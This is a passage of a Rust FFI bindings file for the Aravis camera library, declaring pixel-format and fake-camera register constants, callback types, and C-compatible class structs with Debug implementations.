pub type ArvXmlSchemaError = c_int;
pub const ARV_XML_SCHEMA_ERROR_INVALID_STRUCTURE: ArvXmlSchemaError = 0;
// Constants
pub const ARV_FAKE_CAMERA_ACQUISITION_FRAME_RATE_DEFAULT: c_double = 25.000000;
pub const ARV_FAKE_CAMERA_BINNING_HORIZONTAL_DEFAULT: c_int = 1;
pub const ARV_FAKE_CAMERA_BINNING_VERTICAL_DEFAULT: c_int = 1;
pub const ARV_FAKE_CAMERA_EXPOSURE_TIME_US_DEFAULT: c_double = 10000.000000;
pub const ARV_FAKE_CAMERA_HEIGHT_DEFAULT: c_int = 512;
pub const ARV_FAKE_CAMERA_MEMORY_SIZE: c_int = 65536;
pub const ARV_FAKE_CAMERA_REGISTER_ACQUISITION: c_int = 292;
pub const ARV_FAKE_CAMERA_REGISTER_ACQUISITION_FRAME_PERIOD_US: c_int = 312;
pub const ARV_FAKE_CAMERA_REGISTER_ACQUISITION_MODE: c_int = 300;
pub const ARV_FAKE_CAMERA_REGISTER_ACQUISITION_START_OFFSET: c_int = 32;
pub const ARV_FAKE_CAMERA_REGISTER_BINNING_HORIZONTAL: c_int = 264;
pub const ARV_FAKE_CAMERA_REGISTER_BINNING_VERTICAL: c_int = 268;
pub const ARV_FAKE_CAMERA_REGISTER_EXPOSURE_TIME_US: c_int = 288;
pub const ARV_FAKE_CAMERA_REGISTER_FRAME_START_OFFSET: c_int = 0;
pub const ARV_FAKE_CAMERA_REGISTER_GAIN_MODE: c_int = 276;
pub const ARV_FAKE_CAMERA_REGISTER_GAIN_RAW: c_int = 272;
pub const ARV_FAKE_CAMERA_REGISTER_HEIGHT: c_int = 260;
pub const ARV_FAKE_CAMERA_REGISTER_PIXEL_FORMAT: c_int = 296;
pub const ARV_FAKE_CAMERA_REGISTER_SENSOR_HEIGHT: c_int = 280;
pub const ARV_FAKE_CAMERA_REGISTER_SENSOR_WIDTH: c_int = 284;
pub const ARV_FAKE_CAMERA_REGISTER_TEST: c_int = 496;
pub const ARV_FAKE_CAMERA_REGISTER_TRIGGER_ACTIVATION: c_int = 776;
pub const ARV_FAKE_CAMERA_REGISTER_TRIGGER_MODE: c_int = 768;
pub const ARV_FAKE_CAMERA_REGISTER_TRIGGER_SOFTWARE: c_int = 780;
pub const ARV_FAKE_CAMERA_REGISTER_TRIGGER_SOURCE: c_int = 772;
pub const ARV_FAKE_CAMERA_REGISTER_WIDTH: c_int = 256;
pub const ARV_FAKE_CAMERA_REGISTER_X_OFFSET: c_int = 304;
pub const ARV_FAKE_CAMERA_REGISTER_Y_OFFSET: c_int = 308;
pub const ARV_FAKE_CAMERA_SENSOR_HEIGHT: c_int = 2048;
pub const ARV_FAKE_CAMERA_SENSOR_WIDTH: c_int = 2048;
pub const ARV_FAKE_CAMERA_TEST_REGISTER_DEFAULT: c_int = 305419896;
pub const ARV_FAKE_CAMERA_WIDTH_DEFAULT: c_int = 512;
pub const ARV_GV_FAKE_CAMERA_DEFAULT_INTERFACE: *const c_char =
b"127.0.0.1\0" as *const u8 as *const c_char;
pub const ARV_GV_FAKE_CAMERA_DEFAULT_SERIAL_NUMBER: *const c_char =
b"GV01\0" as *const u8 as *const c_char;
pub const ARV_PIXEL_FORMAT_BAYER_BG_10: ArvPixelFormat = 17825807;
pub const ARV_PIXEL_FORMAT_BAYER_BG_10P: ArvPixelFormat = 17432658;
pub const ARV_PIXEL_FORMAT_BAYER_BG_10_PACKED: ArvPixelFormat = 17563689;
pub const ARV_PIXEL_FORMAT_BAYER_BG_12: ArvPixelFormat = 17825811;
pub const ARV_PIXEL_FORMAT_BAYER_BG_12P: ArvPixelFormat = 17563731;
pub const ARV_PIXEL_FORMAT_BAYER_BG_12_PACKED: ArvPixelFormat = 17563693;
pub const ARV_PIXEL_FORMAT_BAYER_BG_16: ArvPixelFormat = 17825841;
pub const ARV_PIXEL_FORMAT_BAYER_BG_8: ArvPixelFormat = 17301515;
pub const ARV_PIXEL_FORMAT_BAYER_GB_10: ArvPixelFormat = 17825806;
pub const ARV_PIXEL_FORMAT_BAYER_GB_10P: ArvPixelFormat = 17432660;
pub const ARV_PIXEL_FORMAT_BAYER_GB_10_PACKED: ArvPixelFormat = 17563688;
pub const ARV_PIXEL_FORMAT_BAYER_GB_12: ArvPixelFormat = 17825810;
pub const ARV_PIXEL_FORMAT_BAYER_GB_12P: ArvPixelFormat = 17563733;
pub const ARV_PIXEL_FORMAT_BAYER_GB_12_PACKED: ArvPixelFormat = 17563692;
pub const ARV_PIXEL_FORMAT_BAYER_GB_16: ArvPixelFormat = 17825840;
pub const ARV_PIXEL_FORMAT_BAYER_GB_8: ArvPixelFormat = 17301514;
pub const ARV_PIXEL_FORMAT_BAYER_GR_10: ArvPixelFormat = 17825804;
pub const ARV_PIXEL_FORMAT_BAYER_GR_10P: ArvPixelFormat = 17432662;
pub const ARV_PIXEL_FORMAT_BAYER_GR_10_PACKED: ArvPixelFormat = 17563686;
pub const ARV_PIXEL_FORMAT_BAYER_GR_12: ArvPixelFormat = 17825808;
pub const ARV_PIXEL_FORMAT_BAYER_GR_12P: ArvPixelFormat = 17563735;
pub const ARV_PIXEL_FORMAT_BAYER_GR_12_PACKED: ArvPixelFormat = 17563690;
pub const ARV_PIXEL_FORMAT_BAYER_GR_16: ArvPixelFormat = 17825838;
pub const ARV_PIXEL_FORMAT_BAYER_GR_8: ArvPixelFormat = 17301512;
pub const ARV_PIXEL_FORMAT_BAYER_RG_10: ArvPixelFormat = 17825805;
pub const ARV_PIXEL_FORMAT_BAYER_RG_10P: ArvPixelFormat = 17432664;
pub const ARV_PIXEL_FORMAT_BAYER_RG_10_PACKED: ArvPixelFormat = 17563687;
pub const ARV_PIXEL_FORMAT_BAYER_RG_12: ArvPixelFormat = 17825809;
pub const ARV_PIXEL_FORMAT_BAYER_RG_12P: ArvPixelFormat = 17563737;
pub const ARV_PIXEL_FORMAT_BAYER_RG_12_PACKED: ArvPixelFormat = 17563691;
pub const ARV_PIXEL_FORMAT_BAYER_RG_16: ArvPixelFormat = 17825839;
pub const ARV_PIXEL_FORMAT_BAYER_RG_8: ArvPixelFormat = 17301513;
pub const ARV_PIXEL_FORMAT_BGRA_8_PACKED: ArvPixelFormat = 35651607;
pub const ARV_PIXEL_FORMAT_BGR_10_PACKED: ArvPixelFormat = 36700185;
pub const ARV_PIXEL_FORMAT_BGR_12_PACKED: ArvPixelFormat = 36700187;
pub const ARV_PIXEL_FORMAT_BGR_8_PACKED: ArvPixelFormat = 35127317;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_BG_12_PACKED: ArvPixelFormat = 2165047300;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_BG_16: ArvPixelFormat = 2165309449;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_GB_12_PACKED: ArvPixelFormat = 2165047299;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_GB_16: ArvPixelFormat = 2165309448;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_GR_12_PACKED: ArvPixelFormat = 2165047297;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_GR_16: ArvPixelFormat = 2165309446;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_RG_12_PACKED: ArvPixelFormat = 2165047298;
pub const ARV_PIXEL_FORMAT_CUSTOM_BAYER_RG_16: ArvPixelFormat = 2165309447;
pub const ARV_PIXEL_FORMAT_CUSTOM_YUV_422_YUYV_PACKED: ArvPixelFormat = 2182086661;
pub const ARV_PIXEL_FORMAT_MONO_10: ArvPixelFormat = 17825795;
pub const ARV_PIXEL_FORMAT_MONO_10_PACKED: ArvPixelFormat = 17563652;
pub const ARV_PIXEL_FORMAT_MONO_12: ArvPixelFormat = 17825797;
pub const ARV_PIXEL_FORMAT_MONO_12_PACKED: ArvPixelFormat = 17563654;
pub const ARV_PIXEL_FORMAT_MONO_14: ArvPixelFormat = 17825829;
pub const ARV_PIXEL_FORMAT_MONO_16: ArvPixelFormat = 17825799;
pub const ARV_PIXEL_FORMAT_MONO_8: ArvPixelFormat = 17301505;
pub const ARV_PIXEL_FORMAT_MONO_8_SIGNED: ArvPixelFormat = 17301506;
pub const ARV_PIXEL_FORMAT_RGBA_8_PACKED: ArvPixelFormat = 35651606;
pub const ARV_PIXEL_FORMAT_RGB_10_PACKED: ArvPixelFormat = 36700184;
pub const ARV_PIXEL_FORMAT_RGB_10_PLANAR: ArvPixelFormat = 36700194;
pub const ARV_PIXEL_FORMAT_RGB_12_PACKED: ArvPixelFormat = 36700186;
pub const ARV_PIXEL_FORMAT_RGB_12_PLANAR: ArvPixelFormat = 36700195;
pub const ARV_PIXEL_FORMAT_RGB_16_PLANAR: ArvPixelFormat = 36700196;
pub const ARV_PIXEL_FORMAT_RGB_8_PACKED: ArvPixelFormat = 35127316;
pub const ARV_PIXEL_FORMAT_RGB_8_PLANAR: ArvPixelFormat = 35127329;
pub const ARV_PIXEL_FORMAT_YUV_411_PACKED: ArvPixelFormat = 34340894;
pub const ARV_PIXEL_FORMAT_YUV_422_PACKED: ArvPixelFormat = 34603039;
pub const ARV_PIXEL_FORMAT_YUV_422_YUYV_PACKED: ArvPixelFormat = 34603058;
pub const ARV_PIXEL_FORMAT_YUV_444_PACKED: ArvPixelFormat = 35127328;
// Callbacks
pub type ArvDomDocumentCreateFunction = Option<unsafe extern "C" fn() -> *mut ArvDomDocument>;
pub type ArvFakeCameraFillPattern =
Option<unsafe extern "C" fn(*mut ArvBuffer, *mut c_void, u32, u32, ArvPixelFormat)>;
pub type ArvFrameCallback = Option<unsafe extern "C" fn(*mut ArvBuffer)>;
pub type ArvStreamCallback =
Option<unsafe extern "C" fn(*mut c_void, ArvStreamCallbackType, *mut ArvBuffer)>;
// Records
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvBufferClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvBufferClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvBufferClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvCameraClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvCameraClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvCameraClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvChunkParserClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvChunkParserClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvChunkParserClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDeviceClass {
pub parent_class: gobject::GObjectClass,
pub create_stream: Option<
unsafe extern "C" fn(
*mut ArvDevice,
ArvStreamCallback,
*mut c_void,
*mut *mut glib::GError,
) -> *mut ArvStream,
>,
pub get_genicam_xml: Option<unsafe extern "C" fn(*mut ArvDevice, *mut size_t) -> *const c_char>,
pub get_genicam: Option<unsafe extern "C" fn(*mut ArvDevice) -> *mut ArvGc>,
pub read_memory: Option<
unsafe extern "C" fn(
*mut ArvDevice,
u64,
u32,
*mut c_void,
*mut *mut glib::GError,
) -> gboolean,
>,
pub write_memory: Option<
unsafe extern "C" fn(
*mut ArvDevice,
u64,
u32,
*mut c_void,
*mut *mut glib::GError,
) -> gboolean,
>,
pub read_register:
Option<unsafe extern "C" fn(*mut ArvDevice, u64, u32, *mut *mut glib::GError) -> gboolean>,
pub write_register:
Option<unsafe extern "C" fn(*mut ArvDevice, u64, u32, *mut *mut glib::GError) -> gboolean>,
pub control_lost: Option<unsafe extern "C" fn(*mut ArvDevice)>,
}
impl ::std::fmt::Debug for ArvDeviceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDeviceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("create_stream", &self.create_stream)
.field("get_genicam_xml", &self.get_genicam_xml)
.field("get_genicam", &self.get_genicam)
.field("read_memory", &self.read_memory)
.field("write_memory", &self.write_memory)
.field("read_register", &self.read_register)
.field("write_register", &self.write_register)
.field("control_lost", &self.control_lost)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomCharacterDataClass {
pub parent_class: ArvDomNodeClass,
}
impl ::std::fmt::Debug for ArvDomCharacterDataClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomCharacterDataClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomDocumentClass {
pub parent_class: ArvDomNodeClass,
pub get_document_element:
Option<unsafe extern "C" fn(*mut ArvDomDocument) -> *mut ArvDomElement>,
pub create_element:
Option<unsafe extern "C" fn(*mut ArvDomDocument, *const c_char) -> *mut ArvDomElement>,
pub create_text_node:
Option<unsafe extern "C" fn(*mut ArvDomDocument, *const c_char) -> *mut ArvDomText>,
}
impl ::std::fmt::Debug for ArvDomDocumentClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomDocumentClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("get_document_element", &self.get_document_element)
.field("create_element", &self.create_element)
.field("create_text_node", &self.create_text_node)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomDocumentFragmentClass {
pub parent_class: ArvDomNodeClass,
}
impl ::std::fmt::Debug for ArvDomDocumentFragmentClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomDocumentFragmentClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomElementClass {
pub parent_class: ArvDomNodeClass,
pub get_attribute:
Option<unsafe extern "C" fn(*mut ArvDomElement, *const c_char) -> *const c_char>,
pub set_attribute:
Option<unsafe extern "C" fn(*mut ArvDomElement, *const c_char, *const c_char)>,
}
impl ::std::fmt::Debug for ArvDomElementClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomElementClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("get_attribute", &self.get_attribute)
.field("set_attribute", &self.set_attribute)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNamedNodeMapClass {
pub parent_class: gobject::GObjectClass,
pub get:
Option<unsafe extern "C" fn(*mut ArvDomNamedNodeMap, *const c_char) -> *mut ArvDomNode>,
pub set:
Option<unsafe extern "C" fn(*mut ArvDomNamedNodeMap, *mut ArvDomNode) -> *mut ArvDomNode>,
pub remove:
Option<unsafe extern "C" fn(*mut ArvDomNamedNodeMap, *const c_char) -> *mut ArvDomNode>,
pub get_item: Option<unsafe extern "C" fn(*mut ArvDomNamedNodeMap, c_uint) -> *mut ArvDomNode>,
pub get_length: Option<unsafe extern "C" fn(*mut ArvDomNamedNodeMap) -> c_uint>,
}
impl ::std::fmt::Debug for ArvDomNamedNodeMapClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNamedNodeMapClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("get", &self.get)
.field("set", &self.set)
.field("remove", &self.remove)
.field("get_item", &self.get_item)
.field("get_length", &self.get_length)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNodeChildListClass {
pub parent_class: ArvDomNodeListClass,
}
impl ::std::fmt::Debug for ArvDomNodeChildListClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNodeChildListClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNodeClass {
pub parent_class: gobject::GObjectClass,
pub get_node_name: Option<unsafe extern "C" fn(*mut ArvDomNode) -> *const c_char>,
pub get_node_value: Option<unsafe extern "C" fn(*mut ArvDomNode) -> *const c_char>,
pub set_node_value: Option<unsafe extern "C" fn(*mut ArvDomNode, *const c_char)>,
pub get_node_type: Option<unsafe extern "C" fn(*mut ArvDomNode) -> ArvDomNodeType>,
pub can_append_child:
Option<unsafe extern "C" fn(*mut ArvDomNode, *mut ArvDomNode) -> gboolean>,
pub post_new_child: Option<unsafe extern "C" fn(*mut ArvDomNode, *mut ArvDomNode)>,
pub pre_remove_child: Option<unsafe extern "C" fn(*mut ArvDomNode, *mut ArvDomNode)>,
pub changed: Option<unsafe extern "C" fn(*mut ArvDomNode)>,
pub child_changed: Option<unsafe extern "C" fn(*mut ArvDomNode, *mut ArvDomNode) -> gboolean>,
}
impl ::std::fmt::Debug for ArvDomNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("get_node_name", &self.get_node_name)
.field("get_node_value", &self.get_node_value)
.field("set_node_value", &self.set_node_value)
.field("get_node_type", &self.get_node_type)
.field("can_append_child", &self.can_append_child)
.field("post_new_child", &self.post_new_child)
.field("pre_remove_child", &self.pre_remove_child)
.field("changed", &self.changed)
.field("child_changed", &self.child_changed)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNodeListClass {
pub parent_class: gobject::GObjectClass,
pub get_item: Option<unsafe extern "C" fn(*mut ArvDomNodeList, c_uint) -> *mut ArvDomNode>,
pub get_length: Option<unsafe extern "C" fn(*mut ArvDomNodeList) -> c_uint>,
}
impl ::std::fmt::Debug for ArvDomNodeListClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNodeListClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("get_item", &self.get_item)
.field("get_length", &self.get_length)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomTextClass {
pub parent_class: ArvDomCharacterDataClass,
}
impl ::std::fmt::Debug for ArvDomTextClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomTextClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvEvaluatorClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvEvaluatorClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvEvaluatorClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvFakeCameraClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvFakeCameraClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeCameraClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvFakeDeviceClass {
pub parent_class: ArvDeviceClass,
}
impl ::std::fmt::Debug for ArvFakeDeviceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeDeviceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvFakeInterfaceClass {
pub parent_class: ArvInterfaceClass,
}
impl ::std::fmt::Debug for ArvFakeInterfaceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeInterfaceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvFakeStreamClass {
pub parent_class: ArvStreamClass,
}
impl ::std::fmt::Debug for ArvFakeStreamClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeStreamClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcBooleanClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcBooleanClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcBooleanClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcCategoryClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcCategoryClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcCategoryClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcClass {
pub parent_class: ArvDomDocumentClass,
}
impl ::std::fmt::Debug for ArvGcClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcCommandClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcCommandClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcCommandClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcConverterClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcConverterClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcConverterClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcConverterNodeClass {
pub parent_class: ArvGcConverterClass,
}
impl ::std::fmt::Debug for ArvGcConverterNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcConverterNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcEnumEntryClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcEnumEntryClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcEnumEntryClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcEnumerationClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcEnumerationClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcEnumerationClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcFeatureNodeClass {
pub parent_class: ArvGcNodeClass,
pub get_linked_feature:
Option<unsafe extern "C" fn(*mut ArvGcFeatureNode) -> *mut ArvGcFeatureNode>,
pub get_access_mode: Option<unsafe extern "C" fn(*mut ArvGcFeatureNode) -> ArvGcAccessMode>,
pub default_access_mode: ArvGcAccessMode,
}
impl ::std::fmt::Debug for ArvGcFeatureNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFeatureNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("get_linked_feature", &self.get_linked_feature)
.field("get_access_mode", &self.get_access_mode)
.field("default_access_mode", &self.default_access_mode)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcFloatInterface {
pub parent: gobject::GTypeInterface,
pub get_value:
Option<unsafe extern "C" fn(*mut ArvGcFloat, *mut *mut glib::GError) -> c_double>,
pub set_value: Option<unsafe extern "C" fn(*mut ArvGcFloat, c_double, *mut *mut glib::GError)>,
pub get_min: Option<unsafe extern "C" fn(*mut ArvGcFloat, *mut *mut glib::GError) -> c_double>,
pub get_max: Option<unsafe extern "C" fn(*mut ArvGcFloat, *mut *mut glib::GError) -> c_double>,
pub get_inc: Option<unsafe extern "C" fn(*mut ArvGcFloat, *mut *mut glib::GError) -> c_double>,
pub get_representation: Option<unsafe extern "C" fn(*mut ArvGcFloat) -> ArvGcRepresentation>,
pub get_display_notation: Option<unsafe extern "C" fn(*mut ArvGcFloat) -> ArvGcDisplayNotation>,
pub get_display_precision: Option<unsafe extern "C" fn(*mut ArvGcFloat) -> i64>,
pub get_unit: Option<unsafe extern "C" fn(*mut ArvGcFloat) -> *const c_char>,
pub impose_min: Option<unsafe extern "C" fn(*mut ArvGcFloat, c_double, *mut *mut glib::GError)>,
pub impose_max: Option<unsafe extern "C" fn(*mut ArvGcFloat, c_double, *mut *mut glib::GError)>,
}
impl ::std::fmt::Debug for ArvGcFloatInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFloatInterface @ {:p}", self))
.field("parent", &self.parent)
.field("get_value", &self.get_value)
.field("set_value", &self.set_value)
.field("get_min", &self.get_min)
.field("get_max", &self.get_max)
.field("get_inc", &self.get_inc)
.field("get_representation", &self.get_representation)
.field("get_display_notation", &self.get_display_notation)
.field("get_display_precision", &self.get_display_precision)
.field("get_unit", &self.get_unit)
.field("impose_min", &self.impose_min)
.field("impose_max", &self.impose_max)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcFloatNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcFloatNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFloatNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcFloatRegNodeClass {
pub parent_class: ArvGcRegisterNodeClass,
}
impl ::std::fmt::Debug for ArvGcFloatRegNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFloatRegNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcGroupNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcGroupNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcGroupNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIndexNodeClass {
pub parent_class: ArvGcPropertyNodeClass,
}
impl ::std::fmt::Debug for ArvGcIndexNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIndexNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntConverterNodeClass {
pub parent_class: ArvGcConverterClass,
}
impl ::std::fmt::Debug for ArvGcIntConverterNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntConverterNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntRegNodeClass {
pub parent_class: ArvGcRegisterNodeClass,
}
impl ::std::fmt::Debug for ArvGcIntRegNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntRegNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntSwissKnifeNodeClass {
pub parent_class: ArvGcSwissKnifeClass,
}
impl ::std::fmt::Debug for ArvGcIntSwissKnifeNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntSwissKnifeNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntegerInterface {
pub parent: gobject::GTypeInterface,
pub get_value: Option<unsafe extern "C" fn(*mut ArvGcInteger, *mut *mut glib::GError) -> i64>,
pub set_value: Option<unsafe extern "C" fn(*mut ArvGcInteger, i64, *mut *mut glib::GError)>,
pub get_min: Option<unsafe extern "C" fn(*mut ArvGcInteger, *mut *mut glib::GError) -> i64>,
pub get_max: Option<unsafe extern "C" fn(*mut ArvGcInteger, *mut *mut glib::GError) -> i64>,
pub get_inc: Option<unsafe extern "C" fn(*mut ArvGcInteger, *mut *mut glib::GError) -> i64>,
